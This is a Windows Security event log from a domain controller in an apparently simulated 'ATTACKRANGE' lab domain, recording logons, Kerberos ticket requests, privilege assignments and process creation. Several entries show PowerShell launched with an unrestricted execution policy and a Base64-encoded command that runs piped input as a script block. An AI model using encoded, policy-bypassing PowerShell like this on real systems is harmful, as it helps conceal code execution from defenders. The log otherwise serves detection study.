Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x126BDA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251076
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x126BDA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251075
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251074
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251073
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a4
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x126c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x126c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10b0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251070
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125EF6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251069
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x125EF6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64500

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251068
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125EF6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251067
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125E74

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251066
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x125E74
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64499

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251065
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125E74

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251064
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125D7E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251063
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x125D7E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64498

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251062
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125D7E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251061
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125CF1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251060
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x125CF1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64497

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251059
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125CF1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251058
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1256F2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251057
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1256F2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251056
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251055
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251054
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b4
	Creator Process Name:	C:\Windows\System32\cmd.exe
